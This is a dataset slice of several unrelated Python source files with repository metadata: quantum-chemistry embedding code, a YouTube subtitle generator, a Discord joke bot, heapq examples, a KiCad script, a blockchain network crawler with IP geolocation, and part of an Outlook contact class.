EA-EOM-CCSD excitation energy:\")\n print(f\"Results in hartree :{hl_eom.eip}\")\n print(f\"Results in eV :{eev}\")\n print(f\"Results in wavenumber:{ecm}\")\n print(f\"Roots converged? :{hl_eom.converged}\")\n print(\"\".center(80, '*'))\n if self.hl_excited_triple:\n from pyscf.pbc.cc import eom_kccsd_rhf\n #imds = eom_kccsd_rhf._IMDS(mykcc, eris=eris)\n #imds = imds.make_t3p2_ip_ea(mykcc)\n myeom = eom_kccsd_rhf.EOMIP_Ta(hl_cc)\n eip = myeom.ipccsd_star(nroots=self.hl_excited_nroots) \n eev = np.around(eip*nist.HARTREE2EV,3)\n ecm = np.around(eip*nist.HARTREE2WAVENUMBER,3)\n print(f\"Embedded IP-EOM-CCSD(T)(a)* excitation energy:\")\n print(f\"Results in hartree :{eip}\")\n print(f\"Results in eV :{eev}\")\n print(f\"Results in wavenumber:{ecm}\")\n print(\"\".center(80, '*'))\n\n def __do_mp(self):\n \"\"\"Perform the requested perturbation calculation\"\"\"\n\n #If dft for sr method, need to convert to hf.\n if self.hl_unrestricted:\n hl_mp = mp.UMP2(self.hl_sr_scf)\n elif self.mol.spin != 0:\n print(\"ROMP2 Not Implemented.\")\n else:\n hl_mp = mp.MP2(self.hl_sr_scf)\n\n if self.hl_conv is not None:\n hl_mp.conv_tol = self.hl_conv\n if self.hl_cycles is not None:\n hl_mp.max_cycle = self.hl_cycles\n emp = hl_mp.kernel()[0]\n self.hl_energy += emp\n\n def __do_casscf(self):\n \"\"\"Perform the requested casscf calculation\"\"\"\n #NEED TO MAKE CUSTOM casscf.get_hcore() adding the projection operator.\n\n str_start = self.hl_method.find(\"[\") + 1\n str_end = self.hl_method.find(\"]\")\n active_space_str_list = self.hl_method[str_start:str_end].split(',')\n active_space = list(map(int, active_space_str_list))\n hl_casscf = mcscf.CASSCF(self.hl_sr_scf, active_space[0], active_space[1])\n if self.hl_conv is not None:\n hl_casscf.conv_tol = self.hl_conv\n if self.hl_cycles is not None:\n hl_casscf.max_cycle = self.hl_cycles\n\n self.hl_energy = hl_casscf.kernel()[0]\n\n #Does not have unrestricted nevpt2\n if 'nevpt' in self.hl_method:\n self.hl_energy += mrpt.NEVPT(hl_casscf).kernel()\n\n def __do_fci(self):\n \"\"\"Perform the requested fci calculation. This is incomplete.\"\"\"\n\n cisolver = fci.FCI(self.mol, self.hl_sr_scf.mo_coeff)\n hl_energy_tot = cisolver.kernel()\n self.hl_energy = hl_energy_tot[0]\n\n def __do_dmrg(self):\n \"\"\"Perform the requested dmrg calculation.\n \"\"\"\n from pyscf import dmrgscf\n\n mod_hcore = ((self.env_scf.get_hcore()\n + (self.emb_pot[0] + self.emb_pot[1])/2.\n + (self.proj_pot[0] + self.proj_pot[1])/2.))\n self.hl_sr_scf.get_hcore = lambda *args, **kwargs: mod_hcore\n str_start = self.hl_method.find(\"[\") + 1\n str_end = self.hl_method.find(\"]\")\n active_space_str_list = self.hl_method[str_start:str_end].split(',')\n active_space = list(map(int, active_space_str_list))\n hl_dmrg = dmrgscf.DMRGSCF(self.hl_sr_scf, active_space[0], active_space[1])\n\n dmrg_mem = self.pmem\n if dmrg_mem is not None:\n dmrg_mem = float(dmrg_mem) / 1e3 #DMRG Input memory is in GB for some reason.\n\n hl_dmrg.fcisolver = dmrgscf.DMRGCI(self.mol, maxM=self.dmrg_max_m, memory=dmrg_mem)\n hl_dmrg.fcisolver.num_thrds = self.dmrg_num_thrds\n hl_dmrg.fcisolver.scratchDirectory = self.scr_dir\n edmrg = hl_dmrg.kernel()\n edmrg = 0\n enevpt = 0\n if \"nevpt\" in self.hl_method:\n if self.hl_compress_approx:\n enevpt = mrpt.NEVPT(hl_dmrg).compress_approx().kernel()\n else:\n enevpt = mrpt.NEVPT(hl_dmrg).kernel()\n self.hl_energy += edmrg + enevpt\n\n def __do_shci(self):\n \"\"\"Perform the requested shci calculation.\n \"\"\"\n from pyscf import shciscf\n\n mod_hcore = ((self.env_scf.get_hcore()\n + (self.emb_pot[0] + self.emb_pot[1])/2.\n + (self.proj_pot[0] + self.proj_pot[1])/2.))\n self.hl_sr_scf.get_hcore = lambda *args, **kwargs: mod_hcore\n str_start = self.hl_method.find(\"[\") + 1\n str_end = self.hl_method.find(\"]\")\n active_space_str_list = self.hl_method[str_start:str_end].split(',')\n active_space = list(map(int, active_space_str_list))\n hl_shci = shciscf.shci.SHCISCF(self.hl_sr_scf, active_space[0], active_space[1])\n hl_shci.fcisolver.mpiprefix = self.shci_mpi_prefix\n hl_shci.fcisolver.stochastic = not self.shci_no_stochastic\n hl_shci.fcisolver.nPTiter = self.shci_npt_iter\n hl_shci.fcisolver.sweep_iter = self.shci_sweep_iter\n hl_shci.fcisolver.DoRDM = not self.shci_no_rdm\n hl_shci.fcisolver.sweep_epsilon = self.shci_sweep_epsilon\n ecc = hl_shci.mc1step()[0]\n ecc = 0\n self.hl_energy += ecc\n\n def __save_fcidump(self):\n \"\"\"Saves fcidump file.\n \"\"\"\n\n mod_hcore = ((self.env_scf.get_hcore()\n + (self.emb_pot[0] + self.emb_pot[1])/2.\n + (self.proj_pot[0] + self.proj_pot[1])/2.))\n self.hl_sr_scf.get_hcore = lambda *args, **kwargs: mod_hcore\n fcidump_filename = (os.path.splitext(self.filename)[0]\n + '_' + self.chkfile_index + '_.fcidump')\n print(f\"FCIDUMP GENERATED AT {fcidump_filename}\")\n tools.fcidump.from_scf(self.hl_sr_scf, (\n os.path.splitext(self.filename)[0] + '.fcidump'),\n tol=1e-200)\n\n def __save_hl_density_file(self, hl_density):\n \"\"\"Saves the high level system density to file.\n\n Parameters\n ----------\n hl_density : array\n An array of the high level density matrix to save.\n \"\"\"\n\n if self.filename is None:\n print(\"Cannot save hl density because no filename\")\n return False\n if self.hl_unrestricted:\n cubegen_fn = (os.path.splitext(self.filename)[0] + '_' +\n self.chkfile_index + '_hl_alpha.cube')\n tools.cubegen.density(self.mol, cubegen_fn, hl_density[0])\n cubegen_fn = (os.path.splitext(self.filename)[0] + '_' +\n self.chkfile_index + '_hl_beta.cube')\n tools.cubegen.density(self.mol, cubegen_fn, hl_density[1])\n else:\n cubegen_fn = (os.path.splitext(self.filename)[0] + '_' +\n self.chkfile_index + '_hl.cube')\n tools.cubegen.density(self.mol, cubegen_fn, hl_density)\n return True\n\n def __save_hl_orbital_file(self, hl_mo_coeff, hl_mo_energy, hl_mo_occ):\n '''Save the orbitals generated by the hl method.\n\n Parameters\n ----------\n hl_mo_coeff : array\n An array of molecular orbital coeffecients from the high level method.\n hl_mo_energy : array\n An array of molecular orbital energies from the high level method.\n hl_mo_occ : array\n An array of molecular occupations from the high level method.\n '''\n if self.filename is None:\n print(\"Cannot save hl orbitals because no filename\")\n return False\n if self.hl_unrestricted:\n molden_fn = os.path.splitext(self.filename)[0] + self.chkfile_index + '_hl_alpha.molden'\n with open(molden_fn, 'w') as fin:\n tools.molden.header(self.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, hl_mo_coeff[0],\n ene=hl_mo_energy[0],\n occ=hl_mo_occ[0])\n tools.molden.from_mo(self.mol, molden_fn, hl_mo_coeff[0],\n ene=hl_mo_energy[0], occ=hl_mo_occ[0])\n\n molden_fn = os.path.splitext(self.filename)[0] + self.chkfile_index + '_hl_beta.molden'\n with open(molden_fn, 'w') as fin:\n tools.molden.header(self.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, hl_mo_coeff[1],\n ene=hl_mo_energy[1],\n occ=hl_mo_occ[1])\n tools.molden.from_mo(self.mol, molden_fn, hl_mo_coeff[1],\n ene=hl_mo_energy[1], occ=hl_mo_occ[1])\n\n else:\n molden_fn = os.path.splitext(self.filename)[0] + self.chkfile_index + '_hl.molden'\n with open(molden_fn, 'w') as fin:\n tools.molden.header(self.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, hl_mo_coeff,\n ene=hl_mo_energy,\n occ=hl_mo_occ)\n tools.molden.from_mo(self.mol, molden_fn, hl_mo_coeff,\n ene=hl_mo_energy, occ=hl_mo_occ)\n return True\n","repo_name":"Goodpaster/QSoME","sub_path":"qsome/cluster_subsystem.py","file_name":"cluster_subsystem.py","file_ext":"py","file_size_in_byte":79929,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"43878643560","text":"# import local libraries\nfrom src.video import download, info, video_to_audio\nfrom src.gcp import list_buckets, upload_blob, transcribe_model_selection, subtitle_generation\n\n\ndef main(youtube_link: str, bucket_for_audio_files: str = None, language_code: str = \"pl-Pl\"):\n video_path = download(youtube_link)\n\n if bucket_for_audio_files is None:\n bucket_names = list_buckets()\n\n for bucket_name in bucket_names:\n if 'temporary_bucket_for_audio_files' in bucket_name:\n bucket_for_audio_files = bucket_name\n\n channels, bit_rate, sample_rate = info('video.mp4')\n\n audio_filename = 'audio.wav'\n video_to_audio(video_path, audio_filename, channels, bit_rate, sample_rate)\n\n gcs_uri = upload_blob(bucket_for_audio_files, audio_filename, f'audios/{audio_filename}')\n\n response = transcribe_model_selection(gcs_uri, channels, sample_rate, language_code)\n\n subtitles = subtitle_generation(response)\n print(subtitles)\n\n with open(\"subtitles.srt\", \"w\") as f:\n f.write(subtitles)\n","repo_name":"rafalkrol-xyz/youtube-subs","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"2492807949","text":"import discord.__main__\nfrom discord.ext import commands\nfrom utils import get_yo_momma_jokes\n\nclass NSFW (commands.Cog): \n def __init__(self, bot):\n self.bot = bot\n \n @commands.command()\n async def insult(self, ctx, member: discord.Member = None):\n insult = await get_yo_momma_jokes()\n if member is not None:\n await ctx.send(\"%s %s\" %(member.name, insult))\n else:\n await ctx.send(\"%s %s\" %(ctx.message.author.name, insult))\n\n \n\ndef setup(bot):\n bot.add_cog(NSFW(bot))","repo_name":"utkarshs-ingh/DOT-BOT","sub_path":"cogs/NSFW.py","file_name":"NSFW.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"35118712425","text":"#!/usr/bin/env python3\n\nimport heapq\n\ndef xst(s):\n\tdef key(s):\n\t\treturn s['price']\n\treturn key\n\ndef main():\n\tnums = [1,8,2,23,7,-4,18,23,42,37,2]\n\tprint(heapq.nlargest(3, nums))\n\tprint(heapq.nsmallest(4,nums))\n\n\tportfolio = [\n\t\t{'name': 'IBM', 'shares': 100, 'price':91.1},\n\t\t{'name': 'AAPL','shares': 50, 'price':543.22},\n\t\t{'name': 'FB', 'shares': 200, 'price':21.09},\n\t\t{'name': 'HPQ', 'shares': 35, 'price':31.75},\n\t\t{'name': 'YHOO', 'shares': 45, 'price':16.35},\n\t\t{'name': 'ACME', 'shares':75, 'price':115.65}\n\t]\n\tcheap = heapq.nsmallest(3, portfolio, key=lambda s: s['price'])\n\n\tcheap1 = heapq.nsmallest(1, portfolio, key=xst(portfolio))\t\n\n\theap = list(nums)\n\theapq.heapify(heap)\n\n\theap\n\n\theapq.heappop(heap)\n\theapq.heappop(heap)\n\theapq.heappop(heap)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"XiaosuTong/Documents","sub_path":"Python/Chapter1/1.04.py","file_name":"1.04.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74804187021","text":"import pdb\nimport pcbnew\n\nfrom math import *\nimport re\n\nboard = pcbnew.GetBoard()\n\n# the internal coorinate space of pcbnew is 10E-6 mm. (a millionth of a mm)\n# the coordinate 121550000 corresponds to 121.550000 \n\nre_refname=re.compile('([WR])([0-9]?)([0-9]?)([0-9]+)')\n\nSCALE = 25400000\n\nfor module in board.GetModules():\n refname=module.GetReference()\n match=re_refname.match(refname)\n if match==None: continue\n\n t=match.group(1)\n s=int(match.group(2))\n p=int(match.group(3))\n e=int(match.group(4))\n print(refname,s,p,e)\n\n if s==1 and p==1: continue # reference 1,1 is good\n\n refrefname='%s11%02d'%(t,e)\n refmodule=board.FindModule(refrefname)\n print(refrefname,refmodule)\n\n refref=refmodule.Reference()\n ref=module.Reference()\n\n print(refref.GetPos0())\n print(ref.GetPos0())\n ref.SetPos0(refref.GetPos0())\n ref.SetOrientation(refref.GetOrientation())\n print(refref.GetPos0())\n print(ref.GetPos0())\n \n \n","repo_name":"kkrizka/pbv2_mass_test_adapter","sub_path":"reposref.py","file_name":"reposref.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71541915344","text":"import asyncio\nimport errno\nimport resource\nimport sys\nimport traceback\nfrom abc import ABCMeta\nfrom argparse import ArgumentParser, Namespace\nfrom asyncio import Future, ensure_future\nfrom collections import deque\nfrom inspect import isabstract\nfrom typing import (Any, AsyncIterator, Coroutine, Deque, Dict, FrozenSet,\n Generic, Iterable, List, Optional, Union)\n\nfrom geoip2.errors import AddressNotFoundError\nfrom tqdm import tqdm\n\nfrom .blockchain import BLOCKCHAINS, Blockchain, BlockchainError, Miner, Node\nfrom .crawl_schema import (Crawl, CrawlDatabase, CrawlState, DatabaseCrawl,\n DateTime, N)\nfrom .fluxture import Command\nfrom .geolocation import (GeoIP2Error, GeoIP2Locator, Geolocator,\n download_maxmind_db)\n\nCRAWL_LISTENERS: List[\"CrawlListener\"] = []\n\n\nclass CrawlListener:\n has_on_crawl_node: bool = False\n has_on_miner: bool = False\n has_on_complete: bool = False\n\n async def on_crawl_node(self, crawler: \"Crawler\", node: Node):\n pass\n\n async def on_miner(self, crawler: \"Crawler\", node: Node, miner: Miner):\n pass\n\n async def on_complete(self, crawler: \"Crawler\"):\n pass\n\n def __init_subclass__(cls, **kwargs):\n if not isabstract(cls):\n for func in dir(cls):\n if func.startswith(\"on_\") and hasattr(CrawlListener, func):\n setattr(\n cls,\n f\"has_{func}\",\n getattr(cls, func) != getattr(CrawlListener, func),\n )\n CRAWL_LISTENERS.append(cls())\n\n\nclass MinerTask(CrawlListener):\n async def on_crawl_node(self, crawler: \"Crawler\", node: Node):\n is_miner = await crawler.blockchain.is_miner(node)\n crawler.crawl.set_miner(node, is_miner)\n crawler.add_tasks(\n *(\n listener.on_miner(crawler, node, is_miner)\n for listener in CRAWL_LISTENERS\n if listener.has_on_miner\n )\n )\n if is_miner == Miner.MINER:\n print(f\"Node {node} is a miner\")\n elif is_miner == Miner.NOT_MINER:\n print(f\"Node {node} is not a miner\")\n\n\nclass Crawler(Generic[N], metaclass=ABCMeta):\n def __init__(\n self,\n blockchain: Blockchain[N],\n crawl: Crawl[N],\n geolocator: Optional[Geolocator] = None,\n max_connections: Optional[int] = None,\n ):\n self.blockchain: Blockchain[N] = blockchain\n self.crawl: Crawl[N] = crawl\n self.geolocator: Optional[Geolocator] = geolocator\n self.nodes: Dict[N, N] = {}\n if max_connections is None:\n max_connections = resource.getrlimit(resource.RLIMIT_NOFILE)[0] // 3 * 2\n max_connections = max(max_connections, 1)\n self.max_connections: int = max_connections\n self.listener_tasks: List[Future] = []\n\n async def _crawl_node(self, node: N) -> FrozenSet[N]:\n crawled_node = self.crawl.get_node(node)\n if (\n self.geolocator is not None\n and crawled_node.state & CrawlState.GEOLOCATED != CrawlState.GEOLOCATED\n ):\n try:\n self.crawl.set_location(\n node.address, self.geolocator.locate(node.address)\n )\n self.crawl.add_state(crawled_node, CrawlState.GEOLOCATED)\n except AddressNotFoundError:\n pass\n if (\n crawled_node.state & CrawlState.ATTEMPTED_CONNECTION\n == CrawlState.ATTEMPTED_CONNECTION\n ):\n raise ValueError(f\"Node {node} was already crawled!\")\n self.crawl.add_state(crawled_node, CrawlState.ATTEMPTED_CONNECTION)\n try:\n async with node:\n self.crawl.add_state(crawled_node, CrawlState.CONNECTED)\n neighbors = []\n new_neighbors = set()\n self.crawl.add_state(crawled_node, CrawlState.REQUESTED_NEIGHBORS)\n for neighbor in await self.blockchain.get_neighbors(node):\n if neighbor in self.nodes:\n # we have already seen this node\n neighbors.append(self.nodes[neighbor])\n else:\n self.nodes[neighbor] = neighbor\n neighbors.append(neighbor)\n new_neighbors.add(neighbor)\n self.crawl.set_neighbors(node, frozenset(neighbors))\n self.crawl.add_state(\n crawled_node,\n CrawlState.GOT_NEIGHBORS | CrawlState.REQUESTED_VERSION,\n )\n version = await self.blockchain.get_version(node)\n if version is not None:\n self.crawl.add_state(crawled_node, CrawlState.GOT_VERSION)\n crawled_node = self.crawl.get_node(node)\n self.crawl.add_event(\n crawled_node,\n event=\"version\",\n description=version.version,\n timestamp=DateTime(version.timestamp),\n )\n return frozenset(new_neighbors)\n except BrokenPipeError:\n self.crawl.add_state(crawled_node, CrawlState.CONNECTION_RESET)\n raise\n except OSError as e:\n if e.errno in (\n errno.ETIMEDOUT,\n errno.ECONNREFUSED,\n errno.EHOSTDOWN,\n errno.EHOSTUNREACH,\n ):\n # Connection failed\n self.crawl.add_state(crawled_node, CrawlState.CONNECTION_FAILED)\n else:\n # Something happened after we connected (e.g., connection reset by peer)\n self.crawl.add_state(crawled_node, CrawlState.CONNECTION_RESET)\n raise\n finally:\n await node.close()\n\n def add_tasks(self, *tasks: Union[Future, Coroutine[Any, Any, None]]):\n for task in tasks:\n if isinstance(task, Coroutine):\n self.listener_tasks.append(ensure_future(task))\n else:\n self.listener_tasks.append(task)\n\n async def _check_miner(self, node: N):\n is_miner = await self.blockchain.is_miner(node)\n self.crawl.set_miner(node, is_miner)\n return node, is_miner\n\n async def _crawl(self, seeds: Optional[Iterable[N]] = None):\n if seeds is None:\n seed_iter: Optional[\n AsyncIterator[N]\n ] = await self.blockchain.default_seeds()\n queue: Deque[N] = deque()\n futures: List[Future] = [ensure_future(seed_iter.__anext__())]\n num_seeds = 0\n else:\n seed_iter = None\n queue = deque(seeds)\n futures: List[Future] = []\n num_seeds = len(seeds)\n num_connected_to = 0\n while futures or queue or self.listener_tasks:\n print(\n f\"Discovered {len(self.nodes)} nodes ({num_seeds} seeds); crawled {num_connected_to}; \"\n f\"crawling {len(futures)}; waiting to crawl {len(queue)}...\"\n )\n if futures:\n waiting_on = futures\n done, pending = await asyncio.wait(\n waiting_on, return_when=asyncio.FIRST_COMPLETED\n )\n futures = list(pending)\n for result in await asyncio.gather(*done, return_exceptions=True):\n # iterate over all of the new neighbors of the node\n if isinstance(result, StopAsyncIteration) and seed_iter is not None:\n seed_iter = None\n elif isinstance(result, Exception):\n # TODO: Save the exception to the database\n # self.crawl.add_event(node, event=\"Exception\", description=str(result))\n if isinstance(\n result,\n (\n ConnectionError,\n OSError,\n BrokenPipeError,\n BlockchainError,\n ),\n ):\n print(str(result))\n else:\n traceback.print_tb(result.__traceback__)\n print(result)\n elif seed_iter is not None and isinstance(result, Node):\n # This is a seed\n crawled_node = self.crawl.get_node(result)\n if crawled_node.source != result.source:\n # this means we already organically encountered this node from another peer\n # so update its source to be the seed\n crawled_node.source = result.source\n self.crawl.update_node(crawled_node)\n self.crawl.add_state(crawled_node, CrawlState.DISCOVERED)\n # Check if we have already encountered this node\n queue.append(result)\n num_seeds += 1\n futures.append(ensure_future(seed_iter.__anext__()))\n else:\n num_connected_to += 1\n queue.extend(result)\n if self.listener_tasks:\n waiting_on = self.listener_tasks\n done, pending = await asyncio.wait(\n waiting_on, return_when=asyncio.FIRST_COMPLETED, timeout=0.5\n )\n for result in await asyncio.gather(*done, return_exceptions=True):\n if isinstance(result, Exception):\n # TODO: Save the exception to the database\n # self.crawl.add_event(node, event=\"Exception\", description=str(result))\n traceback.print_tb(result.__traceback__)\n print(result)\n self.listener_tasks = list(pending)\n new_nodes_to_crawl = min(self.max_connections - len(futures), len(queue))\n if new_nodes_to_crawl:\n nodes_to_crawl = []\n for i in range(new_nodes_to_crawl):\n node = queue.popleft()\n if node in self.nodes:\n nodes_to_crawl.append(self.nodes[node])\n else:\n nodes_to_crawl.append(node)\n self.nodes[node] = node\n futures.extend(\n ensure_future(self._crawl_node(node)) for node in nodes_to_crawl\n )\n self.add_tasks(\n *(\n listener.on_crawl_node(crawler=self, node=node)\n for node in nodes_to_crawl\n for listener in CRAWL_LISTENERS\n if listener.has_on_crawl_node\n )\n )\n self.crawl.commit()\n\n for miner in await self.blockchain.get_miners():\n self.crawl.set_miner(miner, Miner.MINER)\n\n for node in self.nodes.values():\n if node.is_running:\n node.terminate()\n await node.join()\n\n self.add_tasks(\n *(\n listener.on_complete(crawler=self)\n for listener in CRAWL_LISTENERS\n if listener.has_on_complete\n )\n )\n\n # wait for the on_complete tasks to finish:\n while self.listener_tasks:\n waiting_on = self.listener_tasks\n done, pending = await asyncio.wait(\n waiting_on, return_when=asyncio.FIRST_COMPLETED, timeout=0.5\n )\n for result in await asyncio.gather(*done, return_exceptions=True):\n if isinstance(result, Exception):\n # TODO: Save the exception to the database\n # self.crawl.add_event(node, event=\"Exception\", description=str(result))\n traceback.print_tb(result.__traceback__)\n print(result)\n self.listener_tasks = list(pending)\n\n def do_crawl(self, seeds: Optional[Iterable[N]] = None):\n asyncio.run(self._crawl(seeds))\n\n def crawl_node(self, node: N) -> FrozenSet[N]:\n \"\"\"Return the neighbors for a single node\"\"\"\n return asyncio.run(self._crawl_node(node))\n\n\nCITY_DB_PARSER: ArgumentParser = ArgumentParser(add_help=False)\n\nCITY_DB_PARSER.add_argument(\n \"--city-db-path\",\n \"-c\",\n type=str,\n default=None,\n help=\"path to a MaxMind GeoLite2 City database (default is \"\n \"`~/.config/fluxture/geolite2/GeoLite2-City.mmdb`); \"\n \"if omitted and `--maxmind-license-key` is provided, the latest database will be \"\n \"downloaded and saved to the default location; \"\n \"if both options are omttied, then geolocation will not be performed\",\n)\nCITY_DB_PARSER.add_argument(\n \"--maxmind-license-key\",\n type=str,\n default=None,\n help=\"License key for automatically downloading a GeoLite2 City database; you generate get \"\n \"a free license key by registering at https://www.maxmind.com/en/geolite2/signup\",\n)\n\n\nclass UpdateMaxmindDBCommand(Command):\n name = \"update-geo-db\"\n help = \"download the latest MaxMind GeoLite2 database\"\n parent_parsers = (CITY_DB_PARSER,)\n\n def run(self, args: Namespace):\n if args.maxmind_license_key is None:\n sys.stderr.write(\"Error: --maxmind-license-key must be provided\\n\\n\")\n sys.exit(1)\n save_path = download_maxmind_db(args.maxmind_license_key, args.city_db_path)\n print(f\"Geolocation database saved to {save_path}\")\n\n\nclass NodeCommand(Command):\n name = \"node\"\n help = \"connect to and interrogate a specific node\"\n\n def __init_arguments__(self, parser: ArgumentParser):\n parser.add_argument(\n \"BLOCKCHAIN_NAME\",\n type=str,\n help=\"the name of the blockchain to crawl\",\n choices=BLOCKCHAINS.keys(),\n )\n parser.add_argument(\n \"IP_ADDRESS\", type=str, help=\"IP address of the node to interrogate\"\n )\n\n def run(self, args: Namespace):\n blockchain_type = BLOCKCHAINS[args.BLOCKCHAIN_NAME]\n with CrawlDatabase() as db:\n for neighbor in sorted(\n str(n.address)\n for n in Crawler(\n blockchain=blockchain_type(),\n crawl=DatabaseCrawl(blockchain_type.node_type, db),\n ).crawl_node(blockchain_type.node_type(args.IP_ADDRESS))\n ):\n print(neighbor)\n\n\nclass GeolocateCommand(Command):\n name = \"geolocate\"\n help = \"re-run geolocation for already crawled nodes (e.g., after a call to the `update-geo-db` command)\"\n parent_parsers = (CITY_DB_PARSER,)\n\n def __init_arguments__(self, parser: ArgumentParser):\n parser.add_argument(\n \"CRAWL_DATABASE\", type=str, help=\"path to the crawl database to update\"\n )\n parser.add_argument(\n \"--process-all\",\n \"-a\",\n action=\"store_true\",\n help=\"by default, this command only geolocates \"\n \"nodes that do not already have a \"\n \"location; this option will re-process \"\n \"all nodes\",\n )\n\n def run(self, args: Namespace):\n geo = GeoIP2Locator(args.city_db_path, args.maxmind_license_key)\n\n with CrawlDatabase(args.CRAWL_DATABASE) as db:\n added = 0\n updated = 0\n with tqdm(db.nodes, leave=False, desc=\"geolocating\", unit=\" nodes\") as t:\n for node in t:\n old_location = node.get_location()\n was_none = old_location is None\n if not args.process_all and not was_none:\n continue\n try:\n new_location = geo.locate(node.ip)\n except AddressNotFoundError:\n continue\n if new_location is not None:\n if was_none:\n db.locations.append(new_location)\n added += 1\n elif any(\n a != b\n for (field_name_a, a), (field_name_b, b) in zip(\n new_location.items(), old_location.items()\n )\n if (\n field_name_a != \"rowid\"\n and field_name_b != \"rowid\"\n and field_name_a != \"timestamp\"\n and field_name_b != \"timestamp\"\n )\n ):\n # the location was updated\n new_location.rowid = old_location.rowid\n new_location.db = db\n db.locations.update(new_location)\n updated += 1\n else:\n continue\n t.desc = f\"geolocating ({added} added, {updated} updated)\"\n print(f\"Added {added} new locations and updated {updated} existing ones\")\n\n\nclass CrawlCommand(Command):\n name = \"crawl\"\n help = \"crawl a blockchain\"\n parent_parsers = (CITY_DB_PARSER,)\n\n def __init_arguments__(self, parser: ArgumentParser):\n parser.add_argument(\n \"--database\",\n \"-db\",\n type=str,\n default=\":memory:\",\n help=\"path to the crawl database (default is to run in memory)\",\n )\n max_file_descriptors, _ = resource.getrlimit(resource.RLIMIT_NOFILE)\n parser.add_argument(\n \"--max-connections\",\n \"-m\",\n type=int,\n default=None,\n help=\"the maximum number of connections to open at once during the crawl, capped at \"\n f\"⅔ of `ulimit -n` = {max(max_file_descriptors // 3 * 2, 1)} (default is to use the \"\n \"maximum possible)\",\n )\n parser.add_argument(\n \"BLOCKCHAIN_NAME\",\n type=str,\n help=\"the name of the blockchain to crawl\",\n choices=BLOCKCHAINS.keys(),\n )\n\n def run(self, args: Namespace):\n try:\n geo = GeoIP2Locator(args.city_db_path, args.maxmind_license_key)\n except GeoIP2Error as e:\n sys.stderr.write(f\"Warning: {e}\\nCrawl IPs will not be geolocated!\\n\")\n geo = None\n\n if args.database == \":memory:\":\n sys.stderr.write(\n \"Warning: Using an in-memory crawl database. Results will not be saved!\\n\"\n \"Run with `--database` to set a path for the database to be saved.\\n\"\n )\n\n blockchain_type = BLOCKCHAINS[args.BLOCKCHAIN_NAME]\n\n if args.max_connections is None:\n max_file_handles, _ = resource.getrlimit(resource.RLIMIT_NOFILE)\n if sys.stderr.isatty() and sys.stdin.isatty():\n if max_file_handles < 1024:\n while True:\n sys.stderr.write(\n f\"`uname -n` is {max_file_handles}, which is low and will cause the crawl to \"\n \"be very slow.\\nWould you like to increase this value to 32768? [Yn] \"\n )\n choice = input(\"\")\n if choice.lower() == \"y\" or len(choice.strip()) == 0:\n resource.setrlimit(\n resource.RLIMIT_NOFILE, (32768, resource.RLIM_INFINITY)\n )\n max_file_handles, _ = resource.getrlimit(\n resource.RLIMIT_NOFILE\n )\n break\n elif choice.lower() == \"n\":\n break\n max_connections = max(max_file_handles // 3 * 2, 1)\n else:\n max_connections = args.max_connections\n\n def crawl():\n with CrawlDatabase(args.database) as db:\n Crawler(\n blockchain=blockchain_type(),\n crawl=DatabaseCrawl(blockchain_type.node_type, db),\n geolocator=geo,\n max_connections=max_connections,\n ).do_crawl()\n\n if geo is None:\n crawl()\n else:\n with geo:\n crawl()\n","repo_name":"crytic/fluxture","sub_path":"fluxture/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":20702,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"47"} +{"seq_id":"43199561277","text":"import json\nimport requests\n\nfrom pyOutlook.internal.utils import check_response\n\n__all__ = ['Contact']\n\n\nclass Contact(object):\n \"\"\" Represents someone sending or receiving an email. Cuts down on the amount of dictionaries floating around that\n each hold the API's syntax and allows for functionality to be added in the future.\n\n Args:\n email (str): The email of the user\n name (str): The user's name, which is not always provided by the API.\n\n Keyword Args:\n focused: Whether messages from this sender are always sent to the Focused inbox, or to the Other tab.\n This value is set when retrieving a contact from the API, or after setting it via\n :func:`set_focused() `\n\n Attributes:\n email: The email of the user\n name: The name of the user\n focused: A boolean indicating whether this contact has an override for their messages to go to the Focused inbox\n or the \"Other\" inbox. None indicates that the value has not yet been retrieved by the API or set.\n \"\"\"\n\n def __init__(self, email, name=None, focused=None):\n # type: (str, str, bool) -> None\n self.email = email\n self.name = name\n self.focused = focused\n\n def __str__(self):\n if self.name is None:\n return self.email\n return '{} ({})'.format(self.name, self.email)\n\n def __repr__(self):\n return str(self)\n\n @classmethod\n def _json_to_contact(cls, json_value):\n contact = json_value.get('EmailAddress', None)\n # The API returns this information in a different format if it's related to Focused inbox overrides\n contact_override = json_value.get('SenderEmailAddress', None)\n if contact is not None:\n email = contact.get('Address', None)\n name = contact.get('Name', None)\n\n return Contact(email, name)\n # This contains override information\n elif contact_override is not None:\n # Whether they are 'Focused' or 'Other'\n classification = json_value.get('ClassifyAs', 'Other')\n focused = True if classification == 'Focused' else False\n\n email = contact_override.get('Address', None)\n name = contact_override.get('Name', None)\n\n return Contact(email, name, focused=focused)\n else:\n return None\n\n @classmethod\n def _json_to_contacts(cls, json_value):\n # Sometimes, multiple contacts will be provided behind a dictionary with 'value' as the key\n try:\n json_value = json_value['value']\n except TypeError:\n pass\n return [cls._json_to_contact(contact) for contact in json_value]\n\n def api_representation(self):\n \"\"\" Returns the JSON formatting required by Outlook's API for contacts \"\"\"\n return dict(EmailAddress=dict(Name=self.name, Address=self.email))\n\n def set_focused(self, account, is_focused):\n # type: (OutlookAccount, bool) -> bool\n \"\"\" Emails from this contact will either always be put in the Focused inbox, or always put in Other, based on\n the value of is_focused.\n\n Args:\n account (OutlookAccount): The :class:`OutlookAccount `\n the override should be set for\n is_focused (bool): Whether this contact should be set to Focused, or Other.\n\n Returns:\n True if the request was successful\n \"\"\"\n endpoint = 